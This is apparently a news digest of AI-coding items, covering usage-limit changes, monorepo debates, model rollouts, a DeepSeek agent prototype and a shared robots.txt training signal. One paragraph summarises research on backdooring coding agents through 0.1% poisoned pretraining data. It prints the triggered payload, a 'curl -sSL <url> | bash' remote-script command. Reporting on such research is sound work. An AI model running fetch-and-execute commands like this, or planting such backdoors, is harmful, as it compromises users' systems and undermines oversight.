AI Coding Live News

After users on X complained that their Grok Bot usage ran out early this cycle, Elon Musk replied that "the cost of serving Grok Bot was unsustainably high relative to revenue", a reply with about 13K likes and 5.5M views. Replit CEO Amjad Masad then quoted the news, saying people enjoying subsidized AI subscriptions should "get ready to get rug pulled", sparking a debate over whether flat-rate AI plans can last. This is an X discussion with personal views; xAI has not published a formal pricing or limit announcement.

Shopify distinguished engineer Burke Libbey posted on November 1 that moving to a monorepo has been a boon for agents at Shopify; it needs thoughtful tooling and has downsides that take effort to mitigate, but he would not go back. He was replying to Darren Shepherd, who said a day earlier that he hates the idea that monorepos are great for agents. Shopify CEO Tobi Lütke then quoted Burke and recalled Mikhail Parakhin telling him that every engineer hates the idea of moving to a monorepo, yet once it is there no engineer would want to work somewhere without one. Tobi's post drew about 1,115 likes, 454 bookmarks and 89K views and set off a wide debate. These are practitioner opinions, not an official technical announcement.

Flask creator Armin Ronacher (@mitsuhiko) posted on November 1 that he is convinced an Opus 5.5 agent could now re-implement all of CPython in about two weeks against just the tests, with no human input, possibly with ABI compatibility, no GIL, a JIT, and better numbers on every measurable metric. The post had about 1,637 likes, 98K views and 162 replies. He later added that a rewrite does not strictly need an existing test suite, and that having the agent build its own tests is often better for porting. antirez agreed, while Mario Zechner and Meta engineer Kevin Newton pushed back. This is a personal prediction; no such rewrite has been done.

Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.

On Oct 31, OpenAI's Help Center added a page titled "Understanding ChatGPT and Codex usage limits": starting in December, the usage allowance on Plus, Pro, and Business plans will be shared across ChatGPT and Codex as OpenAI brings the agentic capabilities of Work into the main ChatGPT experience. Usage will be measured in tokens, so stronger models and more complex tasks use more; Instant chat will not draw from the allowance. Users will see combined remaining usage and reset times in Settings > Usage, and can wait for a reset, upgrade, or buy credits when they run out. OpenAI says it expects most users will not need to wait for resets more often than they do now, but it has not given an exact start date or per-plan allowances. The news drew strong concern from Plus users on X.

On Oct 31, deepseek-ai open-sourced dsh-superagent-prototype on GitHub under the MIT license: a proactive coding agent that runs as a DeepSeek Harness bundle, lives on one GitHub repository and can optionally listen to Feishu. When an allowed person asks for work, it opens a work item, works in its own session and directory, and answers in the original conversation, for example with a pull request. The README states it is a research prototype, not an official DeepSeek product. The companion article, Exploring Super-agent Design, proposes a two-layer Router-Worker architecture; the team test, as reproduced by media, reports a p95 completion time of 15.7 minutes versus 29.5 minutes for a single-session setup.

On October 30, OpenAI, Google, Microsoft and Anthropic each published posts committing to one shared robots.txt training-preference signal: a site writes a single Disallow group for the policy token __usage_ai-training to tell every participating provider not to use its content for generative AI training. The mechanism comes from an IETF individual Internet-Draft filed that day by Anthropic standards lead Kevin Kelley and is not yet a formal standard. Timelines differ: The Verge and CNA report Anthropic has already started implementing it, OpenAI says "in the coming months", Microsoft honors it from February 1, 2027, and Google plans support during 2027.

In its October 30 ChatGPT Business release notes, OpenAI said GPT-6 Rosalind Research is rolling out to a limited set of customers with Research approval. It shows up in the model picker in ChatGPT Work and Codex, not in the Chat tab, and separately approved organizations can call it through the API as gpt-6-rosalind. OpenAI's token-based Enterprise rate card lists it at $15 per million input tokens, $1.50 cached input and $75 output, three times the price of GPT-5.5 Rosalind Research.

Per the official Claude API release notes, on Oct 29 Anthropic launched the Usage and Cost Analytics API in beta, with two endpoints, /v1/organizations/analytics/usage and /analytics/cost, that filter and group token usage and cost by model, workspace, API key, and the user or service account behind each request, with 1-minute, 1-hour, or 1-day buckets. The older Usage and Cost API is now legacy but still supported. On Oct 28 the maximum request size for the Messages and Token Counting APIs on the first-party Claude API rose from 32 MB to 128 MB.